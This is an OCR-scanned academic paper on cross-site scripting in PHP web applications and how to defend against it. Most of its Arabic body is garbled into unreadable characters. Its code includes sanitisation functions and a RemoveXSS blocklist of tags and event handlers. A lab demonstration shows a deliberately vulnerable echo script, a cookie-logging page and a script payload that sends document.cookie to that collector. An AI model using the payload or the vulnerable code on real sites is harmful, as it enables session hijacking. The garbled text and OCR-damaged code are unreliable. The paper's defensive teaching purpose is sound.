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Cross-Site Scripting in Web-based
Information systems and methods of
protection and closurer

Abstract
In recent times we have been hearing about penetrations of websites
that are spread over the Internet or what are called information
systems that operate on the Internet in various fields, directions,
objectives and software applications that operate on these websites
or systems within the Internet by unknown persons and the source,
Infringement and destruction of protection methods In some cases,
these events or operations often result in the destruction or theft of
sensitive and critical information and have become a source of great
horror and inconvenience to programmers and web developers.
They are at a loss and sometimes unable to figure out the reasons for
what is happening.
In this research I have prepared a study on one of the important security
vulnerabilities which is a programming error that can be exploited or
exploited by the integration of scripts by it. These texts are usually written
in one of the languages that can be combined with the hypertext markup
language (HTML) Java Script, VBScript, or any other language. XSS, ie,
cross-site programming, was also abbreviated. It also showed the severity
of this vulnerability and its effectiveness in the process of penetrating
websites. The process of processing user input is important to avoid. This
type of occurrence occurs Rat, and other other results.
Keywords: Security vulnerability, cross-site scripting, security
information systems that work on the web, vulnerability, malware,
attack, defense, hacking sites.
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Gy (e giay shay) 13gh high sindl o micidl b dleal) gsise guins @
[16][17] (cookies) Sl Cale

[12] D) iaaly ils JS8 diaaiy caadivnd) Cuila g (el Qug plapins L1 @

Py Cpan alad) Chilae] huas L)) J 48 (b alaiul lbll 45 e
J16] el Gyl leslaall Jlsy) o oS Sl ) cilgié il 3,

IS i A strip_tags() Al Pa e HTML gy JA3) (e padieid) aia @
Sl Ul Jdl Pl e Lwladin) 488 miaging cgaidiy HTMLA) asus
:PHP 4y,

<?php

Echo strip_tags($_POST['input_name]) ;
7>

Y A (Tags) dewsyls Ll il oy JaaY aodivd) J8 e dala @l GlS 1)y
asusll e lapey <h1><b> asugll Jie Wiles Dha J<a Y Tl Dld (i

et smdl L 50 5 cate mpase il A sY) ppen Ciing 44805 Acand
TPHP sl osiSlly A1l o2 aladind A48 g Jall Jidly [<b>] Jie

<¢

class check

{function check()
global $SHTTP_POST_VARS;
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$User Name=$HTTP_POST_VARS['User Name1;

$User Name= strip_tags($User Name, "<b><h1>");
echo($User Name);}};
$start_new=new check();

&>

<b>,<h1> apuslly peans LiSly HTML 4al dalal) asull giey s il 42l
.[18]

[19] dal) chaall A&y Jlain) e Ao selins Y (N Gagail) Geia

<?php

function clear_from_xss($contents)

{ rn

return str_replace('<script’, ", str_replace('<meta’, ", $contents));

¥

7>
a3 Ayl ()5S
<?php

echo clear_from_xss($_POST['input_name?);
7>

Gl Glagye Jadind Gyl e Wl G Gball e gl g LlaY) Ulal e
Dlall oda & Jumdy Gl PHP may aans UWle a5asall aadl 135S (Search)
htmlentities(), htmlspecialchars(), utf8_decode() Jie dus,la Jlss alasinl
([18] Gadaill am Jiiud ) ¢UadY) Al deyudly Saaiiy Aaalis Alld s Al

Pl 3 & o e Yy Sl

<?php
print $_GET['hacked;

>

DAL S gy

<?php
print htmlspecialchars($_GET['hacked']);
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7>
D5 ohgy £ sfsl) il @l g Ll Jlsall (e 5alEY) AES gy HAT Jlia 1ag

<form>

<input type="text" name="message"></br>

<input type="submitt" >

</form>

<?php

if(isset($_GET['message]))

{

$message=htmlentities(($_GET['message']);

$fp=fopen('./message.txt','a’);

fwrite($fp,"$message</br>");

fclose($fp);

}

readfile('./message.txt’);
7>

DDA RS 4d mlag Jhe S cpiag aS gl Y Cusy chund) siilie
2l 4 ALl majua) e 13l mlasily da )l dada ) (COOKiES) 58 sSU o slas
lepans 358 ) 2y e o ggiad php dal dada Jexy (V) a1 il 238

[19]Wsine cSuly S Xs5.php
<?
if (isset($code) )

echo stripslashes($code);

echo "<form method="get_><input type="text' name="code"><input
type="submit’></form>_;

>
g5in3 i 1S.PNP leaenss (COOKIES) Sl ol \gioga ()al dnia ¢ sul,
<?

Setcookie("myname" , "alqursan™ , "time()+(3600");
7>
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aséis Nia COOKIES.PhP Leransi (COOKIES) 3851 Cile lig Al LG dsiiall L

JJS!\ Lﬁ}u} |Oghtm Aaud ‘_,’A)\A —ala ‘_g )...\S}SS\ BIENy, 4,31»_1 Aadall o2
el

<?

$data=$HTTP_COOKIE;

$fp = fopen("log.htm","a");

flock ($fp,2);

fputs ($fp,<BR>$data);

flock($fp,3);

fclose($fp);
7>

daiall 24 ag8i o5 «Ci\apache\htdocs Hlud) eca 4Ll Gl auea il
Sl ) miaaia (B Gusliall s e B k) S @iy res.php
1Al
http://localhost/res.php
PO e Bl slul1 Gy @lldg XSS.php Aadeall midy gl o
http://localhost/xss.php
Dbl ol &5 sA) pail) apyall (8 S 3 Jasd
<script>document.location="http://localhost/cookies.php?'+document.c
ookie</script>

bl Aadal) Mxialy and ey I laud) (IS5
?2word=<script>document.location="http://localhost/cookies.php?'+doc
ument.cookie</script >

a5t Lays daicall o35 COOKIES.PhP () 3SsS) ale Jlal i b af Ll
S Gle Ayl 5 log.htm daslall & (cookies) pSsSl cale sy

:dsal e log.htm daiall #id o 68 (cooKies)
http://localhost/log.htm
iaasiwd) stripslashes($code); WAl Jlagin) oy le dagyaad) 3580 o2a audy

s 8 S AT Ma dlliay caddslashes($code); alally  xss.php caldl
[19] AN Al
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e lgie LS i 5 Cua (XSS filters) XSS i g ciladie aladinl e
sl e Jani ) Ailaglaal) agiall i agadlse dlen (o Cpyshaal) (Sl cagiy)
lgalatind A geuns ils sy XSS Dl dayyf Hladl) & 2l ¢ XSS @l jlad
[18] 5

aaly ¢ pyshaall (e degane Aol PHP 4aly auli€ a0 XSS-Clean filter -
& Al YY) aliee i o)lia) a5 ¢ XSS Claad (e LS Galiss) e 3y8l)
ala shaaiuly XSS_Clean w5 & ¢ http://ha.ckers.org/xss.html A lasli)
it e I L) e 5yl 4l s lntipe ey sas <preg_replace ()

18] clangll Liany Calins) 8 Jid 4] (XSS

bl e XSS g5 e 0 6l Cadag 3l Jens a5ty :RemoveXSS filter -Y
XSS.PHP wisausis PHP g5 (jo il & Al o2 sy sty ¢ giled JS Gkl
& el cuy Sl Cale goag A Al 3 Cald) 13 aaasy il Gaalia agiy;
sy Gl aldl elexiy) aipdiy 0 cbadl Gald) el 3 oaaly el s
S S8 Gl A i galin ol (& A 3 alasinds cdnclude(XSS.php)
[16] At JSall L) adlall o3a

<?
function RemoveXSS($val)
{
// remove all non-
printable characters. CR(0a) and LF(0Ob) and TAB(9) are allowed
/I this prevents some character re-spacing such as <java\Oscript>
/I note that you have to handle splits with \n, \r, and \t later since they
*are* allowed in some inputs
$val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/", ", $val);
/[ straight replacements, the user should never need these since they'r
e normal characters
// this prevents like <IMG SRC=&#X40&#X61&H#XT6&#X61&# X7
3&HXO3EHXT2EHAXOIZHXTOE&HXTA&HXIAEHXO61&H#XE6C&HX65
EHXT2EHAXTAKMK28&H X 2T &H#X58EHAXEI&HXEI&HX2T &#X29>
$search = 'abcdefghijklmnopgrstuvwxyz';
$search .= '"ABCDEFGHIJKLMNOPQRSTUVWXYZ',
$search .= '1234567890! @#$%"&*()";
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$search .= '~ 2+/={}]-_|\'\\;
for ($i = 0; $i < strlen($search); $i++) {
/';? matches the ;, which is optional
/1 0{0,7} matches any padded zeros, which are optional and go up t
0 8 chars
Il &#x0040 @ search for the hex values
$val = preg_replace('/(&#[x|X]0{0,8}".dechex(ord($search[$i])).";?)
/i', $search[$i], $val); // with a ;
Il @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(&#0{0,8}".ord($search[$i]).";?)/", $search[$i]
, $val); // with a ;
}
/I now the only remaining whitespace attacks are \t, \n, and \r
$ral = Array(‘javascript’, 'vbscript', 'expression’, ‘applet’, 'meta’, 'xml’,
‘blink’, 'link’, 'style’, 'script’, 'embed’, 'object’, 'iframe’, 'frame’, ‘frameset
', ilayer’, 'layer', 'bgsound’, 'title’, '‘base’);
$ra2 = Array(‘'onabort', ‘onactivate’, ‘onafterprint’, ‘onafterupdate’, ‘on
beforeactivate', 'onbeforecopy’, ‘'onbeforecut’, ‘onbeforedeactivate’, ‘onb
eforeeditfocus', 'onbeforepaste’, ‘onbeforeprint’, ‘onbeforeunload’, 'onbe
foreupdate', ‘onblur’, ‘'onbounce’, 'oncellchange’, 'onchange’, ‘onclick’, ‘o
ncontextmenu', ‘oncontrolselect’, ‘'oncopy’, 'oncut’, ‘ondataavailable’, ‘on
datasetchanged', 'ondatasetcomplete’, 'ondblclick’, ‘'ondeactivate’, ‘ondra
g, 'ondragend’, ‘ondragenter', 'ondragleave’, 'ondragover’, ‘ondragstart’,
‘ondrop’, 'onerror’, ‘onerrorupdate’, ‘onfilterchange’, ‘onfinish’, ‘onfocus’,
‘onfocusin’, ‘onfocusout', ‘onhelp’, ‘onkeydown’, ‘onkeypress', ‘onkeyup
', 'onlayoutcomplete’, 'onload’, 'onlosecapture’, ‘onmousedown’, ‘'onmou
seenter’, ‘'onmouseleave’, ‘onmousemove', ‘'onmouseout’, ‘onmouseover,
‘'onmouseup’, ‘'onmousewheel’, ‘onmove', ‘'onmoveend', 'onmovestart’, '
onpaste’, ‘onpropertychange’, ‘onreadystatechange’, ‘'onreset', ‘'onresize’,
‘onresizeend’, 'onresizestart', 'onrowenter’, ‘onrowexit’, ‘onrowsdelete’, '
onrowsinserted', ‘onscroll’, ‘onselect’, ‘onselectionchange’, 'onselectstart
', 'onstart’, ‘'onstop’, ‘'onsubmit’, ‘onunload’);
$ra = array_merge($ral, $ra2);
$found = true; // keep replacing as long as the previous round replace
d something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
Spattern = '/';
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for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .="(;
$pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?";
$pattern .= '|(&#0{0,83}([9][10][13]);?)?";
$pattern .= ")?";
}
$pattern .= $ra[$i][$]];
}
Spattern .='/i";
$replacement = substr($ra[$i], 0, 2).'<x>".substr($ra[$i], 2); // add
in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the
hex tags
if ($val_before == $val) {
/I no replacements were made, so exit the loop
$found = false;

t JUIK L5 name saiall 3kl Al (8 JUS

$name = RemoveXSS($HTTP_POST_VARS['name');
&b oial @ (Kl XSS claas aliee GLES) e i ey as mliye s
any ary miye Lad 4l LS (XSS scripts) XSS ity (an gl
[18] XSS_Clean qije o il JSiy dlaiaall XSS iy S
¢« HTML e shall < Ssiglly aswsll AL a5t :XSS-Master filter-¥
Ll s 549 o) 4 preg_match () 5 preg_replace () —ailas; axaiung
) saall cladpdl aal mualy A e shas T s Aalnd) dakgl)
Adally L) Jie zilall Jsia Ciday seb (XSS scripts) XSS culiy o Ll
o Bilas A RV Lhaill Jalge e e plaall clin Sl e JasY) Jeiag
18] gaa Jidasis oz 3laill Jsia
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sl alasinly PHP daly Lad il 1a 40 < 0 XSS_Protect filter-¢
ol A Slaadl &5 XSS wai Ly htmlentities () S strip_tags ()
oyafis (SCHPL) CawSull aiage aai Il sStripos Al aodien gay (DA
Sl aaiey Laall o gud (K1 agdll Jews Ja g5 ¢ SCr <b> </b> ipt Al
18]k 7 samsall a sus sl aladindy gl sl Sy A strip_tags () ik e 4 paladl
:Research results and recommendations Cayl) cluagiy gili- 1 ¥

) Aplagleall ki) of A S adlsal) (pe pdise o A JalS el aagy ¥
cugl e adiad

G sty Jew 4 mulgll oylimly Gle 4aY) bl e gl 13a
&l e Sl

alsdl 3lpa) Llee & Aladll oy8b 58 Sl ) il e gaill s
prana Aa) e Al al¥) (e Aesenae ha o adiay Y A, i)
e Y Apaadl 5l ay (HIMI 5yl 25l

el elae) o (§aall 5)88 8 (4S5 4T )shadg u;)#a),_moﬁ@m 12a .
4Ll dilayl (cookies) Sl cilale e Jgaall (o 43S0 pd dgnay
OSa 51 ) @lsall aca Lyl Jagats (L pSY ABDIAT e clilia) Jany
Py

@ Aald) sa¥) e i JAY (e pdieal) 4 s Lo dallae dlee )
il e gl 13a Eagan

Bl Alens oyl ald o4 CLEN e gaill 138 e Al Gyh Jdl e
i) U e s 35S gl Q3 Y s Clsial

dalall W) ki ) dawg¥] (e 22n 22a sl il Alee ) |
5] s s 5 JBA e padiead) wia sl ohaa (ol layen Jli Y s
s clmand) oUad¥) e pall 1aa Cuiadl Adgd) )Y (e Lo HTML
il die gy Y1 Gaaapudl e

238 DA o Hai (Al JLail) g 565 Ledlu] J8 bkl jids dilee ).

Gl e e et culilall
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Gy A gl saY) (e piad aeadl) Agga 355KV 2yl il 258 axe L4
Jexi 3 Al Glugyull gl ladl aal b (e 88 4 Hlie¥) (e ada]
Html 28 &1 4 «(Patch) Jisly degld) clildl §f 3860 clile cans e
oy il An8lSa aling Aanlgs calal) Alaas b W 0 Y IS 13l las AT
liagd ¥ 3 Apladll Bl (e 35S apal) ciliging gy dplee ydiad LYo
ALl gy A Sl e GBane 03 05 Rleall GG Gany Lebusi Sl
Sl 3 Cusl) aige Ji (g sUanall Lipsail) Aaliaddl 58l chaY) 134 ¢l
Axa
Sl il e luany a0 Y 288 dpladll (g pall eyl gy )
:Conclusion dalal-\ v
s 5asasall Byladll AaaY) LR aal (e saals o g gall Taludy cad Caadl 13a
G bl el leelsl papilly cull Jo Jed ) dleglad) Al
clialall 8 2dl) Laapd) SV Gial ) e ga IS (G Osealeall laadia;
b aSaill S bl e Jsaall Cings asagdl g58 IS (e 5ol Aiph iy Cua
ey Ahiuly (lilnll 3ac B (e dege Glaslae o Jpandls cadlsall Gaa bl
el e claldll
1Sl COUally daadl (pyshaall dpedi 4ie Caagll 4 Lley Gl I lie] (Ko
leartivgy ) Aslasbaall Zadally cusl) clinl (& sl e gl 13 A e
(lld) Aia agall e ash o8 S U8 Q) Glinks (gyske 4y LS ¢ sanleall
o o A lealdly bl Jay) Ll e cladine dlin 08 o oS WS
oo 2wl 3 (A gapshall gliag ¢l ) ALaYL bl Jay) e
aal gl Badas IS 13 ¢ Al )l b1 iy HTTP Referrer ) alaay)
OB (Sl ceSaall o asmell XSS (apmi Juial (o Jlind ¢ 438 4pdal by
o ki daaall bl of glaa 0 XSS dnd) sl e lail) ol
Oo el lia oS Qi) 8y ol mioaie g 4pieY] Glajdalls cOla)
ahall £3) Uilaay 0y50 13ag ¢ XSS dadlKe cilpal i g XSS e il el
Ll ST ol i g0aSl 33l Jrng oded alaia¥l o



http://www.tracker-software.com/buy-now
http://www.tracker-software.com/buy-now

[1]
[2]
3]
[4]
[5]

[6]

[7]
[8]

[9]
[10]

[11]

[12]

[13]

[13]

[14]

[15]

‘References galall-\ ¢

MAHESWARI.G.K, Anita.R, 2015- A dynamic Tool for Detection of XSS Attacks in a
real time environment, VOL. 10, NO. 10

SINGH.J.P, 2016- Analysis of SQL Injection Detection Techniques. CIISE, Concordia
University, Montreal, Quebec, Canada, 20 pages

OWASP, 2013- Top Ten Project, [Available online]. Retrieved 26-3,2013, from
https://www.owasp.org/index.php/Top10#OWASP_Top_10_for_2013

Kim.P, 2018- THE HACKER PLAYBOOK 3Practical Guide to Penetration Testing.
Secure Planet LLC, United States, 264 pages

HARPER.A, HARRIS.S, NESS.J, EAGLE.C, LENKEY.G, TERRON.W, 2011- Gray
Hat Hacking The Ethical Hacker’s Handbook, The McGraw- Hill Companies, 3" ed,
United States, 721pages

OWASP, 2017- Owasp top10-2017:the ten most critical web application security risks,
[Available online]. Retrieved 26,12,2017, from
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%?29.pdf.pdf
OWASP, 2018- Cross site scripting (xss), [Available online]. Retrieved 08,06,2018, from
https: //www.owasp.org/index.php/Cross- site_Scripting_(XSS)

MORGENROTH.S, 2018- The Cross-Site Scripting (XSS) Vulnerability: Definition and
Prevention, [Available online]. Retrieved 18,01,2018, from
https://dzone.com/articles/the-cross-site-scripting-xss-vulnerability-definit

JAVED.A, 2015- On Cross-Site Scripting, Fallback Authentication and Privacy in Web
Applications. Ruhr-University Bochum, Pakistan, 202 pages

GROSSMAN.J, HANSEN.R, Petkov.D, RAGER.A, FOGIE.S, 2007- Cross Site
Scripting Attacks: XSS Exploits and Defense. Syngress Publishing, Elsevier, Inc, United
States of America,482 pages

MOHAMED.A.E, 2017- Complete Cross-site Scripting Walkthrough, [Available online].
Retrieved 2017, from
https://www.exploit-db.com/.../18895-complete-cross-site-scripting-walkthrough.pdf
STUTTARD.D, PINTO.M, 2011- The Web Application Hacker’s Handbook:Finding and
Exploiting Security Flaws. John Wiley & Sons Publishing, Inc, 2" ed ,Indianapolis,
Indiana, 914 pages

SEBASTIAAN.V, 2013- Modern Exploitation: Business Risks of Memory Corruption
and Web Attacks, Vrije Universiteit van Amsterdam, Faculty of Sciences De Boelelaan
10814, 1081 HV Amsterdam, 51 pages

SEBASTIAAN.V, 2013- Modern Exploitation: Business Risks of Memory Corruption
and Web Attacks, Vrije Universiteit van Amsterdam, Faculty of Sciences De Boelelaan
10814, 1081 HV Amsterdam, 51 pages

W3C, 2009- Document Object Model (DOM), [Available online]. Retrieved 11,10,2009,
from https://www.w3.0rg/DOM/#wha

OWASP, 2010- DOM Based XSS, [Available online]. Retrieved 05,01,2010, from



http://www.tracker-software.com/buy-now
http://www.tracker-software.com/buy-now

[17]

[18]

[19]

https://www.owasp.org/index.php/DOM_Based_XSS.

MITCHELL.J, 2016- Web Application Security, [Available online]. Retrieved
02,02,2016, from
https://crypto.stanford.edu/cs1550ld/cs155-spring16/lectures/09-web-site-sec.pdf
TIEN.M.P, 2018- WEB APPLICATION PENETRATION TESTING. whitepaper, 179
pages

Al-Azaiza.R, 2016- Detection and Prevention of XSS Vulnerabilities in MOODLE.
faculty of Information Technology, Islamic University in Gaza, Degree of Master, 92
pages

HAMBARTSUMYAN.H, 2011- Precise XSS Detection with Static Analysis using String
Analysis. faculty of Computer Science, Eindhoven University of Technology, Degree of
Master, 124 pages



http://www.tracker-software.com/buy-now
http://www.tracker-software.com/buy-now

